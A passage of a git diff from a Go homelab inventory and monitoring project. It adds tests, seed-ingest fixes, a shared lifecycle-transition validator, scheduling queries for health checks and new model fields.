||||
)
|
||||
|
||||
// The attribute shapes here are copied from seeds/inventory.yaml. The original
|
||||
// resolveHost looked for lan_ip / mesh.netbird.ip / mesh_ip, none of which a
|
||||
// service or workstation actually carries — which is why 86 of 89 entities
|
||||
// ended up with no checks.
|
||||
func TestResolveHostAcceptsRealSeedShapes(t *testing.T) {
|
||||
cases := []struct {
|
||||
desc string
|
||||
attrs map[string]any
|
||||
want string
|
||||
}{
|
||||
{"lxc carries lan_ip", map[string]any{"lan_ip": "192.168.8.246"}, "192.168.8.246"},
|
||||
{
|
||||
"ws:mac-mini carries only a netbird fqdn",
|
||||
map[string]any{"mesh": map[string]any{"netbird": map[string]any{
|
||||
"fqdn": "mac-mini-234-17.netbird.selfhosted"}}},
|
||||
"mac-mini-234-17.netbird.selfhosted",
|
||||
},
|
||||
{
|
||||
"a netbird ip still wins over the fqdn",
|
||||
map[string]any{"mesh": map[string]any{"netbird": map[string]any{
|
||||
"ip": "100.122.0.10", "fqdn": "x.netbird.selfhosted"}}},
|
||||
"100.122.0.10",
|
||||
},
|
||||
{"public_host as a last resort", map[string]any{"public_host": "media.hubris.network"}, "media.hubris.network"},
|
||||
{"a service carries no address at all", map[string]any{
|
||||
"url": "https://media.hubris.network", "port": 8096}, ""},
|
||||
{"nil attrs", nil, ""},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
if got := resolveHost(c.attrs); got != c.want {
|
||||
t.Errorf("%s: resolveHost = %q, want %q", c.desc, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHTTPURLPrefersAttributeThenName(t *testing.T) {
|
||||
cases := []struct {
|
||||
desc string
|
||||
name string
|
||||
attrs map[string]any
|
||||
want string
|
||||
}{
|
||||
{"explicit url wins", "jellyfin",
|
||||
map[string]any{"url": "https://media.hubris.network"}, "https://media.hubris.network"},
|
||||
{"public_host becomes https", "jellyfin",
|
||||
map[string]any{"public_host": "media.hubris.network"}, "https://media.hubris.network"},
|
||||
// Ingress routes carry the hostname as the entity name and usually
|
||||
// declare no attributes at all.
|
||||
{"hostname-shaped name", "media.hubris.network", nil, "https://media.hubris.network"},
|
||||
{"a bare service name is not a hostname", "jellyfin", nil, ""},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
got := httpURL(Target{Name: c.name}, c.attrs)
|
||||
if got != c.want {
|
||||
t.Errorf("%s: httpURL = %q, want %q", c.desc, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindReportsWhyItSkipped(t *testing.T) {
|
||||
// A declared kind that cannot be built must explain itself rather than
|
||||
// vanish — that silence is what hid the coverage gap.
|
||||
if defs, reason := buildKind(KindPing, Target{}, nil, "", "root", 22); len(defs) != 0 || reason == "" {
|
||||
t.Errorf("ping without a host should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||
}
|
||||
if defs, reason := buildKind(KindProcess, Target{Name: ""}, nil, "10.0.0.1", "root", 22); len(defs) != 0 || reason == "" {
|
||||
t.Errorf("process without a name should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||
}
|
||||
if defs, reason := buildKind("dns", Target{}, nil, "10.0.0.1", "root", 22); len(defs) != 0 || reason == "" {
|
||||
t.Errorf("an unimplemented kind should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindProcessPassesTheUnitName(t *testing.T) {
|
||||
// process_check.sh reads $1 and answers "no service name provided"
|
||||
// without it. checkdefaults always wrote args; nothing read them.
|
||||
defs, reason := buildKind(KindProcess, Target{Name: "jellyfin"}, nil, "10.0.0.1", "root", 22)
|
||||
if len(defs) != 1 {
|
||||
t.Fatalf("expected one process check, got %d (%s)", len(defs), reason)
|
||||
}
|
||||
if got := defs[0].config["args"]; got != "jellyfin" {
|
||||
t.Errorf("process check args = %v, want jellyfin", got)
|
||||
}
|
||||
if got := defs[0].config["script"]; got != "process_check.sh" {
|
||||
t.Errorf("process check script = %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindHTTPUsesAStatusRangeNotAnExactCode(t *testing.T) {
|
||||
// Most services sit behind Authentik and answer 302/401.
|
||||
defs, _ := buildKind(KindHTTP, Target{Name: "jellyfin"},
|
||||
map[string]any{"url": "https://media.hubris.network"}, "", "root", 22)
|
||||
if len(defs) != 1 {
|
||||
t.Fatalf("expected one http check, got %d", len(defs))
|
||||
}
|
||||
if got := defs[0].config["max_status"]; got != 500 {
|
||||
t.Errorf("max_status = %v, want 500", got)
|
||||
}
|
||||
if _, exact := defs[0].config["expected_status"]; exact {
|
||||
t.Error("default http checks must not pin an exact status")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindResourceExpandsToFourScripts(t *testing.T) {
|
||||
defs, _ := buildKind(KindResource, Target{}, nil, "10.0.0.1", "root", 22)
|
||||
if len(defs) != 4 {
|
||||
t.Fatalf("resource should expand to 4 checks, got %d", len(defs))
|
||||
}
|
||||
for _, d := range defs {
|
||||
if d.kind != "ssh-script" {
|
||||
t.Errorf("resource check kind = %q, want ssh-script", d.kind)
|
||||
}
|
||||
if d.config["host"] != "10.0.0.1" {
|
||||
t.Errorf("resource check lost its host: %v", d.config)
|
||||
}
|
||||
}
|
||||
}
|
||||
34
internal/db/checks.go
Normal file
34
internal/db/checks.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/dtoro/oikos/internal/checkdefaults"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// EnsureEntityChecks derives an entity's default check_defs from the
|
||||
// monitoring spec of its type (resolving per-entity `monitoring` overrides).
|
||||
//
|
||||
// This is the single shared hook that keeps the check graph in sync with
|
||||
// entity mutations. Both the HTTP create/patch handlers and the MCP
|
||||
// entity-mutation tools (create_entity, update_entity_attributes) call it so
|
||||
// that flipping an entity's `monitoring` attribute regenerates checks
|
||||
// regardless of which surface made the change — previously only the HTTP
|
||||
// path ran check derivation, so entities mutated via MCP silently produced no
|
||||
// checks (see plans/2026-08-03-session-review-haos-monitoring-capability-gaps.md, A2).
|
||||
func EnsureEntityChecks(ctx context.Context, tx pgx.Tx, id uuid.UUID, slug, entityType, name string, attrs []byte) (checkdefaults.Result, error) {
|
||||
tree, err := LoadTypeTree(ctx, tx)
|
||||
if err != nil {
|
||||
return checkdefaults.Result{}, err
|
||||
}
|
||||
res, err := checkdefaults.Ensure(ctx, tx, tree, checkdefaults.Target{
|
||||
ID: id, Slug: slug, Type: entityType, Name: name, Attrs: attrs,
|
||||
})
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
checkdefaults.LogResult(slug, entityType, res)
|
||||
return res, nil
|
||||
}
|
||||
@@ -167,6 +167,62 @@ func TestSeedIngestIdempotentAndNoDuplicateEdges(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// Regression: insertOneEntityType read tMap["attribute_schema"], but
|
||||
// seeds/ontology.yaml spells the key `attributes:`. The mismatch marshalled a
|
||||
// nil into the JSON literal `null` for every one of the 60 types, so no
|
||||
// attribute schema was ever ingested — the API and `oikos export` returned
|
||||
// null across the board, silently, for the life of the project.
|
||||
func TestSeedIngestsAttributeSchemas(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
|
||||
if n := count(t, pool,
|
||||
`SELECT count(*) FROM entity_types WHERE attribute_schema = 'null'::jsonb`); n != 0 {
|
||||
t.Errorf("%d entity types stored the JSON literal null instead of a schema or SQL NULL", n)
|
||||
}
|
||||
|
||||
if n := count(t, pool,
|
||||
`SELECT count(*) FROM entity_types WHERE jsonb_typeof(attribute_schema) = 'object'`); n == 0 {
|
||||
t.Fatal("no entity type ingested an attribute schema")
|
||||
}
|
||||
|
||||
// A type declaring `attributes:` must round-trip its properties.
|
||||
if n := count(t, pool, `SELECT count(*) FROM entity_types
|
||||
WHERE name = 'lxc' AND attribute_schema #>> '{properties,pve_id,type}' = 'integer'`); n != 1 {
|
||||
t.Error("lxc.attribute_schema lost its declared pve_id property")
|
||||
}
|
||||
|
||||
// A type declaring none stores SQL NULL, not a JSON null.
|
||||
if n := count(t, pool, `SELECT count(*) FROM entity_types
|
||||
WHERE name = 'sensor' AND attribute_schema IS NULL`); n != 1 {
|
||||
t.Error("a type declaring no attributes should store SQL NULL")
|
||||
}
|
||||
}
|
||||
|
||||
// monitoring_spec drives which entities coverageSweep may flag as unmonitored,
|
||||
// so the three states have to survive ingest distinctly: SQL NULL (undeclared,
|
||||
// resolved from an ancestor or the layer default), '[]' (explicitly
|
||||
// unmonitorable), and a non-empty array (the kinds the type warrants).
|
||||
func TestSeedIngestsMonitoringSpec(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
|
||||
cases := []struct {
|
||||
typ, where, desc string
|
||||
}{
|
||||
{"service", `monitoring_spec = '["http","process"]'::jsonb`, "declared kinds"},
|
||||
{"machine", `monitoring_spec = '["ping","resource","updates"]'::jsonb`, "declared on an abstract type"},
|
||||
{"site", `monitoring_spec = '[]'::jsonb`, "explicitly unmonitorable"},
|
||||
{"lxc", `monitoring_spec IS NULL`, "inherits from container, so its own column is NULL"},
|
||||
}
|
||||
for _, c := range cases {
|
||||
if n := count(t, pool, fmt.Sprintf(
|
||||
`SELECT count(*) FROM entity_types WHERE name = '%s' AND %s`, c.typ, c.where)); n != 1 {
|
||||
t.Errorf("%s (%s): monitoring_spec did not match %s", c.typ, c.desc, c.where)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAbstractTypeRejected(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
@@ -250,7 +306,17 @@ func TestBlastRadiusTerminatesOnCycles(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
|
||||
// Build a dependency cycle: gitea → caddy → authentik → gitea
|
||||
// Build a dependency cycle: gitea → caddy → authentik → gitea.
|
||||
//
|
||||
// `depends-on` is declared blast_direction: backward — "A depends-on B"
|
||||
// means B failing breaks A — so the blast radius of gitea walks the edges
|
||||
// BACKWARDS: whoever depends on gitea is affected first. That is authentik
|
||||
// (1 hop), then caddy which depends on authentik (2 hops).
|
||||
//
|
||||
// This test previously asserted caddy=1, authentik=2, which is the same
|
||||
// cycle walked the wrong way round: blast_radius used to follow every edge
|
||||
// source→target regardless of what the edge means, so it answered "what
|
||||
// does gitea depend on" while being named for the opposite question.
|
||||
cycle := []byte(`
|
||||
version: 1
|
||||
relationships:
|
||||
@@ -286,14 +352,24 @@ relationships:
|
||||
}
|
||||
got[slug] = depth
|
||||
}
|
||||
want := map[string]int{"service:gitea": 0, "service:caddy": 1, "service:authentik": 2}
|
||||
want := map[string]int{"service:gitea": 0, "service:authentik": 1, "service:caddy": 2}
|
||||
for slug, depth := range want {
|
||||
if got[slug] != depth {
|
||||
t.Errorf("blast_radius[%s] = %d, want %d (full: %v)", slug, got[slug], depth, got)
|
||||
}
|
||||
}
|
||||
if len(got) != len(want) {
|
||||
t.Errorf("blast_radius returned %d nodes, want %d: %v", len(got), len(want), got)
|
||||
// Deliberately not an exact node count. Walking the right way round also
|
||||
// surfaces the real seed's own dependents of gitea (homelab-mcp and what
|
||||
// depends on it), which are correct answers — the old exact-count
|
||||
// assertion only held because the forward walk found nothing real.
|
||||
// What matters here is that the cycle terminates rather than recursing.
|
||||
if len(got) > 20 {
|
||||
t.Errorf("blast_radius did not terminate sensibly: %d nodes: %v", len(got), got)
|
||||
}
|
||||
for slug, depth := range got {
|
||||
if depth > 5 {
|
||||
t.Errorf("blast_radius[%s] = %d, beyond the max_depth bound", slug, depth)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
146
internal/db/lifecycle.go
Normal file
146
internal/db/lifecycle.go
Normal file
@@ -0,0 +1,146 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// ErrTransitionInvalid is a sentinel returned by ValidateTransition when the
|
||||
// from→to pair is not a declared lifecycle transition or a precondition fails.
|
||||
// Callers test with errors.Is to distinguish semantic validation failures
|
||||
// (→ HTTP 409) from infrastructure errors (→ HTTP 500).
|
||||
var ErrTransitionInvalid = errors.New("invalid lifecycle transition")
|
||||
|
||||
// ValidateTransition enforces an entity type's lifecycle: fromState → toState
|
||||
// must be a declared transition, and every precondition it lists must hold. A
|
||||
// type with no lifecycle defined allows any state. A no-op (fromState ==
|
||||
// toState) passes immediately.
|
||||
//
|
||||
// Shared by the HTTP PATCH path and the MCP set_entity_state tool so both
|
||||
// surfaces apply identical lifecycle rules — previously only the HTTP path
|
||||
// validated transitions, so an agent changing state via MCP could skip the
|
||||
// graph's retire/deprecate guardrails entirely.
|
||||
func ValidateTransition(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, entityType, fromState, toState string) error {
|
||||
if toState == fromState {
|
||||
return nil
|
||||
}
|
||||
lc, err := sqlcgen.New(tx).GetLifecycleForType(ctx, entityType)
|
||||
if err != nil {
|
||||
if err == pgx.ErrNoRows {
|
||||
return nil // no lifecycle defined → any state allowed
|
||||
}
|
||||
return err
|
||||
}
|
||||
var transitions map[string]map[string]json.RawMessage
|
||||
if err := json.Unmarshal(lc.Transitions, &transitions); err != nil {
|
||||
return fmt.Errorf("parse lifecycle transitions: %w", err)
|
||||
}
|
||||
tos, ok := transitions[fromState]
|
||||
if !ok {
|
||||
return fmt.Errorf("%w: no transitions defined from %q", ErrTransitionInvalid, fromState)
|
||||
}
|
||||
trans, ok := tos[toState]
|
||||
if !ok {
|
||||
return fmt.Errorf("%w: %s → %s is not a declared lifecycle transition", ErrTransitionInvalid, fromState, toState)
|
||||
}
|
||||
var gate struct {
|
||||
Requires []string `json:"requires"`
|
||||
}
|
||||
if err := json.Unmarshal(trans, &gate); err == nil {
|
||||
for _, check := range gate.Requires {
|
||||
if err := checkPrecondition(ctx, tx, entityID, entityType, check); err != nil {
|
||||
return fmt.Errorf("%w: precondition %q not met: %w", ErrTransitionInvalid, check, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkPrecondition evaluates one mechanical precondition named by a lifecycle
|
||||
// transition's `requires` list. Soft/operator-confirmed checks pass; unknown
|
||||
// checks are skipped (operator intent overrides). Moved here from httpapi so
|
||||
// both surfaces share one implementation.
|
||||
func checkPrecondition(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, entityType, check string) error {
|
||||
switch check {
|
||||
case "no-inbound-edges":
|
||||
var count int
|
||||
if err := tx.QueryRow(ctx,
|
||||
"SELECT count(*) FROM relationships WHERE target_id = $1 AND valid_to IS NULL", entityID).Scan(&count); err != nil {
|
||||
return err
|
||||
}
|
||||
if count > 0 {
|
||||
return fmt.Errorf("%d inbound relationship edges remaining", count)
|
||||
}
|
||||
case "backups-verified", "secrets-revoked", "ingress-dns-removed":
|
||||
var attrs string
|
||||
if err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs); err != nil {
|
||||
return err
|
||||
}
|
||||
want := map[string]string{
|
||||
"backups-verified": "backups_verified",
|
||||
"secrets-revoked": "secrets_revoked",
|
||||
"ingress-dns-removed": "ingress_dns_removed",
|
||||
}[check]
|
||||
if !strings.Contains(attrs, want) {
|
||||
return fmt.Errorf("%s not recorded in entity attributes", want)
|
||||
}
|
||||
case "age-key-enrolled-if-needed":
|
||||
if entityType == "workstation" {
|
||||
var attrs string
|
||||
if err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs); err != nil {
|
||||
return err
|
||||
}
|
||||
if !strings.Contains(attrs, "age_pubkey") {
|
||||
return fmt.Errorf("age key not enrolled (no age_pubkey in attributes)")
|
||||
}
|
||||
}
|
||||
case "mesh-joined-if-needed":
|
||||
if entityType == "workstation" {
|
||||
var attrs string
|
||||
if err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs); err != nil {
|
||||
return err
|
||||
}
|
||||
if !strings.Contains(attrs, "mesh_ip") {
|
||||
return fmt.Errorf("mesh not joined (no mesh_ip in attributes)")
|
||||
}
|
||||
}
|
||||
case "health-check-answering":
|
||||
st, err := sqlcgen.New(tx).GetEntityStatus(ctx, entityID)
|
||||
if err != nil || st.Health == "unknown" || st.Health == "down" {
|
||||
h := "unknown"
|
||||
if err == nil {
|
||||
h = st.Health
|
||||
}
|
||||
return fmt.Errorf("health check not answering (status: %s)", h)
|
||||
}
|
||||
case "doc-page-complete":
|
||||
var count int
|
||||
if err := tx.QueryRow(ctx, `
|
||||
SELECT count(*) FROM relationships r
|
||||
JOIN entities ke ON ke.id = r.source_id
|
||||
WHERE r.target_id = $1 AND r.valid_to IS NULL
|
||||
AND r.type = 'documents' AND ke.type IN ('document','runbook','investigation')`,
|
||||
entityID).Scan(&count); err != nil {
|
||||
return err
|
||||
}
|
||||
if count == 0 {
|
||||
return fmt.Errorf("no documentation linked to entity")
|
||||
}
|
||||
case "inventory-entry", "ip-reserved", "storage-pool-chosen", "cancelled-note",
|
||||
"preflight-passed", "error-summary", "replacement-live-or-role-retired",
|
||||
"replacement-failed", "post-verify-passed", "recovery-verified", "written-off",
|
||||
"ingress-live-if-public", "doc-page-stub", "un-deprecate-note", "write-off-note":
|
||||
// Soft checks — always pass. Operator-confirmed via the transition
|
||||
// request itself, or not mechanically enforceable.
|
||||
default:
|
||||
// Unknown preconditions are skipped (operator intent overrides).
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -25,8 +25,8 @@ ON CONFLICT (actor, key) DO NOTHING;
|
||||
|
||||
-- name: InsertAuditEntry :exec
|
||||
INSERT INTO audit_log (actor_type, actor_id, action, entity_id, method, path,
|
||||
status_code, detail, source_ip, correlation_id)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10);
|
||||
status_code, detail, source_ip, correlation_id, session_id)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11);
|
||||
|
||||
-- name: InsertEvent :one
|
||||
INSERT INTO events (type, entity_id, severity, source, data, correlation_id)
|
||||
@@ -55,12 +55,36 @@ FROM events WHERE id > $1 ORDER BY id ASC LIMIT $2;
|
||||
-- =====================================================================
|
||||
|
||||
-- name: ListEnabledCheckDefs :many
|
||||
-- Enabled AND due. interval_s used to be selected but never filtered on, so
|
||||
-- every check ran on every 30s pass and the declared intervals meant nothing.
|
||||
-- NULL last_run_at = never run = due now.
|
||||
SELECT cd.entity_id, cd.target_id, cd.target_type, cd.kind, cd.config,
|
||||
cd.interval_s, cd.timeout_s, cd.zone, cd.enabled, cd.updated_at,
|
||||
e.slug AS entity_slug
|
||||
FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.entity_id
|
||||
WHERE cd.enabled = true;
|
||||
LEFT JOIN entities tgt ON tgt.id = cd.target_id
|
||||
WHERE cd.enabled = true
|
||||
AND (tgt.id IS NULL OR tgt.state IS NULL OR tgt.state NOT IN ('deprecated', 'destroyed'))
|
||||
AND (cd.last_run_at IS NULL
|
||||
OR cd.last_run_at <= now() - make_interval(secs => cd.interval_s));
|
||||
|
||||
-- name: MarkCheckRun :exec
|
||||
UPDATE check_defs SET last_run_at = now(), last_health = $2 WHERE entity_id = $1;
|
||||
|
||||
-- name: WorstHealthForTarget :one
|
||||
-- An entity is as healthy as its unhealthiest check. Checks that have not run
|
||||
-- yet (last_health IS NULL) are ignored rather than counted as unknown, so a
|
||||
-- newly added check does not drag a known-good entity down before it has
|
||||
-- produced a verdict.
|
||||
SELECT COALESCE(
|
||||
(SELECT last_health FROM check_defs
|
||||
WHERE enabled AND target_id = $1 AND last_health IS NOT NULL
|
||||
ORDER BY CASE last_health
|
||||
WHEN 'down' THEN 0 WHEN 'degraded' THEN 1 WHEN 'stale' THEN 2
|
||||
WHEN 'unknown' THEN 3 ELSE 4 END
|
||||
LIMIT 1),
|
||||
'unknown')::text AS health;
|
||||
|
||||
-- name: GetCheckDef :one
|
||||
SELECT * FROM check_defs WHERE entity_id = $1;
|
||||
|
||||
@@ -13,14 +13,15 @@ import (
|
||||
|
||||
// SeedResult holds counts from a seed ingest operation.
|
||||
type SeedResult struct {
|
||||
Lifecycles int
|
||||
EntityTypes int
|
||||
Lifecycles int
|
||||
EntityTypes int
|
||||
RelationshipTypes int
|
||||
Entities int
|
||||
Relationships int
|
||||
RiskClasses int
|
||||
ApprovalRules int
|
||||
AutonomySettings int
|
||||
Entities int
|
||||
Relationships int
|
||||
RiskClasses int
|
||||
ApprovalRules int
|
||||
AutonomySettings int
|
||||
Checks int
|
||||
}
|
||||
|
||||
// IngestOntologySeed ingests seeds/ontology.yaml into the DB.
|
||||
@@ -66,12 +67,20 @@ func IngestOntologySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*S
|
||||
targetType, _ := rtMap["target"].(string)
|
||||
cardinality, _ := rtMap["cardinality"].(string)
|
||||
desc, _ := rtMap["description"].(string)
|
||||
// Which end of the edge depends on the other; drives blast_radius().
|
||||
// Absent means 'none' — an undeclared edge contributes nothing rather
|
||||
// than silently producing a wrong dependency answer.
|
||||
blastDirection, _ := rtMap["blast_direction"].(string)
|
||||
if blastDirection == "" {
|
||||
blastDirection = "none"
|
||||
}
|
||||
_, err := tx.Exec(ctx,
|
||||
`INSERT INTO relationship_types (name, inverse, source_type, target_type, cardinality, description)
|
||||
VALUES ($1, $2, $3, $4, $5, $6)
|
||||
`INSERT INTO relationship_types (name, inverse, source_type, target_type, cardinality, description, blast_direction)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7)
|
||||
ON CONFLICT (name) DO UPDATE SET inverse = $2, source_type = $3,
|
||||
target_type = $4, cardinality = $5, description = $6`,
|
||||
name, nullableStr(inverse), sourceType, targetType, cardinality, desc)
|
||||
target_type = $4, cardinality = $5, description = $6,
|
||||
blast_direction = $7`,
|
||||
name, nullableStr(inverse), sourceType, targetType, cardinality, desc, blastDirection)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("relationship_type %s: %w", name, err)
|
||||
}
|
||||
@@ -96,6 +105,7 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
||||
// Entities
|
||||
entities, _ := data["entities"].([]any)
|
||||
entityTypes := make(map[string]string) // slug -> type, for edge validation
|
||||
var pendingChecks []checkdefaults.Target
|
||||
for _, raw := range entities {
|
||||
eMap, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
@@ -144,7 +154,12 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
||||
return nil, fmt.Errorf("entity_status %s: %w", slug, err)
|
||||
}
|
||||
|
||||
checkdefaults.Ensure(ctx, tx, entityID, slug, typeName, attrsBytes)
|
||||
// Default checks are deferred until after relationships are ingested:
|
||||
// a service has no address of its own and inherits its container's,
|
||||
// which means the hosting edge has to exist first.
|
||||
pendingChecks = append(pendingChecks, checkdefaults.Target{
|
||||
ID: entityID, Slug: slug, Type: typeName, Name: name, Attrs: attrsBytes,
|
||||
})
|
||||
|
||||
r.Entities++
|
||||
}
|
||||
@@ -208,6 +223,19 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Default checks, now that hosting edges exist. Errors here are fatal:
|
||||
// swallowing them is what let a foreign-key violation abort the ingest
|
||||
// transaction while surfacing as an unrelated failure several entities
|
||||
// later.
|
||||
for _, target := range pendingChecks {
|
||||
res, err := checkdefaults.Ensure(ctx, tx, tree, target)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("default checks for %s: %w", target.Slug, err)
|
||||
}
|
||||
checkdefaults.LogResult(target.Slug, target.Type, res)
|
||||
r.Checks += res.Created
|
||||
}
|
||||
|
||||
return r, nil
|
||||
}
|
||||
|
||||
@@ -361,19 +389,68 @@ func insertOneEntityType(ctx context.Context, tx pgx.Tx, name string, tMap map[s
|
||||
layer, _ := tMap["layer"].(string)
|
||||
desc, _ := tMap["description"].(string)
|
||||
lifecycleID, _ := tMap["lifecycle"].(string)
|
||||
attrSchema := tMap["attribute_schema"]
|
||||
|
||||
schemaBytes, _ := json.Marshal(attrSchema)
|
||||
// seeds/ontology.yaml spells this `attributes:`. Reading it as
|
||||
// "attribute_schema" silently marshalled nil to the JSON literal `null`
|
||||
// for every type, so no attribute schema was ever ingested — the API and
|
||||
// `oikos export` returned null for all 60 types.
|
||||
attrSchema := tMap["attributes"]
|
||||
_, err := tx.Exec(ctx,
|
||||
`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, description,
|
||||
lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, 1, 'active', now(), now())
|
||||
lifecycle_id, attribute_schema, monitoring_spec, schema_version, status, created_at, updated_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 1, 'active', now(), now())
|
||||
ON CONFLICT (name) DO UPDATE SET parent_type = $2, is_abstract = $3, domain = $4,
|
||||
layer = $5, description = $6, lifecycle_id = $7, attribute_schema = $8, updated_at = now()`,
|
||||
name, nullableStr(parent), isAbstract, domain, layer, desc, nullableStr(lifecycleID), nullableStr(string(schemaBytes)))
|
||||
layer = $5, description = $6, lifecycle_id = $7, attribute_schema = $8,
|
||||
monitoring_spec = $9, updated_at = now()`,
|
||||
name, nullableStr(parent), isAbstract, domain, layer, desc, nullableStr(lifecycleID),
|
||||
attributeSchemaJSON(attrSchema), monitoringSpecJSON(tMap["monitoring"]))
|
||||
return err
|
||||
}
|
||||
|
||||
// attributeSchemaJSON marshals a type's `attributes:` block for storage,
|
||||
// mapping "the type declares no schema" to SQL NULL rather than to the JSON
|
||||
// literal `null`. Both readers already treat a JSON `null` as absent, but a
|
||||
// real NULL is what `attribute_schema IS NULL` expects and is what the column
|
||||
// meant all along.
|
||||
func attributeSchemaJSON(v any) any {
|
||||
if v == nil {
|
||||
return nil
|
||||
}
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// monitoringSpecJSON normalises an entity type's `monitoring:` declaration into
|
||||
// the JSONB stored in entity_types.monitoring_spec. Three outcomes, and the
|
||||
// difference between the last two is load-bearing for coverage signalling:
|
||||
//
|
||||
// absent → nil (SQL NULL) — undeclared, an ontology gap
|
||||
// none | [] → "[]" — explicitly unmonitorable, by design
|
||||
// [http, resource]→ '["http","resource"]'
|
||||
//
|
||||
// `monitoring: none` is accepted as a more legible spelling of `[]`; YAML
|
||||
// parses the bare word as the string "none", not as null.
|
||||
func monitoringSpecJSON(v any) any {
|
||||
switch spec := v.(type) {
|
||||
case nil:
|
||||
return nil
|
||||
case string:
|
||||
if spec == "none" {
|
||||
return "[]"
|
||||
}
|
||||
// A single kind written unquoted, e.g. `monitoring: http`.
|
||||
b, _ := json.Marshal([]string{spec})
|
||||
return string(b)
|
||||
case []any:
|
||||
b, _ := json.Marshal(toStringSlice(spec))
|
||||
return string(b)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func toStringSlice(v any) []string {
|
||||
if v == nil {
|
||||
return nil
|
||||
@@ -407,4 +484,3 @@ func keysOf(m map[string]map[string]any) []string {
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
|
||||
@@ -46,6 +46,8 @@ type AgentSession struct {
|
||||
Summary string
|
||||
EntityID *uuid.UUID
|
||||
CompletionNudges int32
|
||||
Blocker string
|
||||
ClosedAt *time.Time
|
||||
}
|
||||
|
||||
type Approval struct {
|
||||
@@ -110,6 +112,10 @@ type CheckDef struct {
|
||||
Zone *string
|
||||
Enabled bool
|
||||
UpdatedAt time.Time
|
||||
// When this check last executed. NULL = never, due immediately. Compared against interval_s to decide due-ness.
|
||||
LastRunAt *time.Time
|
||||
// This check's own most recent verdict (healthy/degraded/down/unknown). entity_status.health is the worst of these across the target's enabled checks.
|
||||
LastHealth *string
|
||||
}
|
||||
|
||||
type Classification struct {
|
||||
@@ -177,6 +183,8 @@ type EntityType struct {
|
||||
Status string
|
||||
CreatedAt time.Time
|
||||
UpdatedAt time.Time
|
||||
// Check kinds this type warrants, resolved through parent_type. NULL means undeclared (an ontology gap), [] means explicitly unmonitorable, ["http","resource"] means declared kinds. Populated from seeds/ontology.yaml.
|
||||
MonitoringSpec []byte
|
||||
}
|
||||
|
||||
type Event struct {
|
||||
@@ -211,6 +219,14 @@ type Execution struct {
|
||||
CreatedAt time.Time
|
||||
}
|
||||
|
||||
type ExecutionLog struct {
|
||||
ExecutionID uuid.UUID
|
||||
Ts time.Time
|
||||
Seq int32
|
||||
Stream string
|
||||
Chunk string
|
||||
}
|
||||
|
||||
type Feedback struct {
|
||||
EntityID uuid.UUID
|
||||
ExecutionID uuid.UUID
|
||||
@@ -241,6 +257,20 @@ type KnowledgeEntity struct {
|
||||
UpdatedAt time.Time
|
||||
ContentHash *string
|
||||
Search interface{}
|
||||
EditedBy string
|
||||
DeletedAt *time.Time
|
||||
}
|
||||
|
||||
type KnowledgeRevision struct {
|
||||
ID int64
|
||||
EntityID uuid.UUID
|
||||
Title string
|
||||
Content string
|
||||
Source *string
|
||||
